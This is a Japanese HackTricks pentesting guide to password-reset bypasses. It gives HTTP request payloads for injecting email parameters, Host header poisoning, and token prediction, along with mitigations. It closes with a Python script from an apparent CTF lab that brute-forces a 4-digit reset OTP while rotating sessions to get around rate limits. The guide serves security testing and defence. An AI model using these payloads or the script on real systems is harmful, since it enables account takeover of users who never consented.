リセット/忘れたパスワードのバイパス
Reading time: 14 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
リファラーによるパスワードリセットトークンの漏洩
- HTTPリファラーヘッダーは、URLに含まれている場合、パスワードリセットトークンを漏洩させる可能性があります。これは、ユーザーがパスワードリセットを要求した後にサードパーティのウェブサイトリンクをクリックしたときに発生する可能性があります。
- 影響: クロスサイトリクエストフォージェリ(CSRF)攻撃によるアカウントの乗っ取りの可能性。
- 悪用: リファラーヘッダーにパスワードリセットトークンが漏洩しているか確認するには、パスワードリセットを自分のメールアドレスに要求し、提供されたリセットリンクをクリックします。すぐにパスワードを変更しないでください。代わりに、Burp Suiteを使用してリクエストを傍受しながら、サードパーティのウェブサイト(FacebookやTwitterなど)に移動します。リクエストを検査して、リファラーヘッダーにパスワードリセットトークンが含まれているか確認します。これにより、第三者に機密情報が露出する可能性があります。
- 参考文献:
- HackerOne Report 342693
- HackerOne Report 272379
- パスワードリセットトークン漏洩に関する記事
パスワードリセットポイズニング
- 攻撃者は、パスワードリセットリクエスト中にHostヘッダーを操作して、リセットリンクを悪意のあるサイトに向けることがあります。
- 影響: リセットトークンが攻撃者に漏洩することによるアカウントの乗っ取りの可能性。
- 緩和策:
- 許可されたドメインのホワイトリストに対してHostヘッダーを検証します。
- 絶対URLを生成するために安全なサーバーサイドの方法を使用します。
- パッチ:
$_SERVER['HTTP_HOST']
の代わりに$_SERVER['SERVER_NAME']
を使用してパスワードリセットURLを構築します。 - 参考文献:
- パスワードリセットポイズニングに関するAcunetixの記事
メールパラメータを操作してパスワードリセット
攻撃者は、リセットリンクを誘導するために追加のメールパラメータを追加することで、パスワードリセットリクエストを操作できます。
- &を使用して攻撃者のメールを2番目のパラメータとして追加します。
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- 攻撃者のメールアドレスを2番目のパラメータとして%20を使用して追加します。
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- 攻撃者のメールアドレスを2番目のパラメータとして追加します |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- 攻撃者のメールアドレスを2番目のパラメータとしてccで追加します。
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- 攻撃者のメールアドレスを第二のパラメータとしてbccを使用して追加します。
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- 攻撃者のメールアドレスを2番目のパラメータとして追加します。
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- JSON配列の2番目のパラメータとして攻撃者のメールアドレスを追加します。
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- 緩和手順:
- サーバー側でメールパラメータを適切に解析し、検証する。
- インジェクション攻撃を防ぐために、プリペアードステートメントまたはパラメータ化クエリを使用する。
- 参考文献:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
APIパラメータを通じて任意のユーザーのメールとパスワードを変更する
- 攻撃者はAPIリクエスト内のメールおよびパスワードパラメータを変更してアカウントの資格情報を変更できます。
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- 緩和策:
- 厳格なパラメータ検証と認証チェックを確保する。
- 不審な活動を検出し対応するために、堅牢なログ記録と監視を実装する。
- 参照:
- Full Account Takeover via API Parameter Manipulation
レート制限なし: メールボンピング
- パスワードリセットリクエストにレート制限がないと、ユーザーがリセットメールで圧倒されるメールボンピングが発生する可能性がある。
- 緩和策:
- IPアドレスまたはユーザーアカウントに基づいてレート制限を実装する。
- 自動化された悪用を防ぐためにCAPTCHAチャレンジを使用する。
- 参照:
- HackerOne Report 280534
パスワードリセットトークンの生成方法を調べる
- トークン生成のパターンや方法を理解することで、トークンを予測したりブルートフォース攻撃を行うことができる。いくつかのオプション:
- タイムスタンプに基づく
- ユーザーIDに基づく
- ユーザーのメールに基づく
- 名前と姓に基づく
- 生年月日に基づく
- 暗号に基づく
- 緩和策:
- トークン生成に強力な暗号化手法を使用する。
- 予測可能性を防ぐために十分なランダム性と長さを確保する。
- ツール: Burp Sequencerを使用してトークンのランダム性を分析する。
推測可能なUUID
- UUID(バージョン1)が推測可能または予測可能な場合、攻撃者はそれをブルートフォースして有効なリセットトークンを生成する可能性がある。確認する:
- 緩和策:
- ランダム性のためにGUIDバージョン4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。
- ツール: guidtoolを使用してGUIDを分析および生成する。
レスポンス操作: 悪いレスポンスを良いものに置き換える
- エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。
- 緩和策:
- レスポンスの整合性を確保するためにサーバー側のチェックを実装する。
- 中間者攻撃を防ぐためにHTTPSのような安全な通信チャネルを使用する。
- 参照:
- Critical Bug in Live Bug Bounty Event
期限切れトークンの使用
- 期限切れのトークンがパスワードリセットにまだ使用できるかどうかをテストする。
- 緩和策:
- 厳格なトークン有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。
ブルートフォースパスワードリセットトークン
- BurpsuiteやIP-Rotatorのようなツールを使用してリセットトークンをブルートフォースし、IPベースのレート制限を回避しようとする。
- 緩和策:
- 堅牢なレート制限とアカウントロックアウトメカニズムを実装する。
- ブルートフォース攻撃を示す不審な活動を監視する。
トークンを使用してみる
- 攻撃者のリセットトークンが被害者のメールと一緒に使用できるかどうかをテストする。
- 緩和策:
- トークンがユーザーセッションまたは他のユーザー固有の属性にバインドされていることを確認する。
ログアウト/パスワードリセット時のセッション無効化
- ユーザーがログアウトまたはパスワードをリセットしたときにセッションが無効化されることを確認する。
- 緩和策:
- 適切なセッション管理を実装し、ログアウトまたはパスワードリセット時にすべてのセッションが無効化されることを確保する。
ログアウト/パスワードリセット時のセッション無効化
- リセットトークンには、有効期限が設定され、その後無効になるべきである。
- 緩和策:
- リセットトークンの合理的な有効期限を設定し、サーバー側で厳格に施行する。
セッションを変更してOTPレート制限を回避
- ウェブサイトがユーザーセッションを使用して誤ったOTPの試行を追跡しており、OTPが弱い(<= 4桁)場合、効果的にOTPをブルートフォースできる。
- 悪用:
- サーバーによってブロックされた後に新しいセッショントークンをリクエストするだけ。
- 例 コードは、セッションを変更するとOTPも変更されるため、OTPをランダムに推測してこのバグを悪用します(したがって、連続してブルートフォースすることはできません!):
python
# パスワードリセットによる認証バイパス
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] 攻撃を開始します!")
sleep(3)
print("[+] これが完了するまで約5分かかる場合があります!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # 0 - 9999のランダムな数(4桁)
parms["s"] = 164 # 重要ではなく、フロントエンドにのみ影響する
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # 試行回数に従う
out = requests.get(logout,headers=headers) # ログアウトする
mainp = requests.get(root) # 別のphpssid(トークン)を取得する
cookies = out.cookies # セッションIDを抽出する
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" # 新しいセッションでヘッダーを更新する
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # パスワード変更のためにメールを送信する
ter = 0 # 8回の試行後に新しいセッションを取得するためにterをリセット
else:
ter += 1
if(len(res.text) == 2292): # リカバリーコードが正しく取得されたときのページの長さ(テストによって得られた)
print(len(res.text)) # デバッグ情報
print(phpsessid)
reset_data = { # ここでパスワードを新しいものに変更する
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] パスワードがD37djkamd!に変更されました!")
break
except Exception as e:
print("[+] 攻撃が停止しました")
参照
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。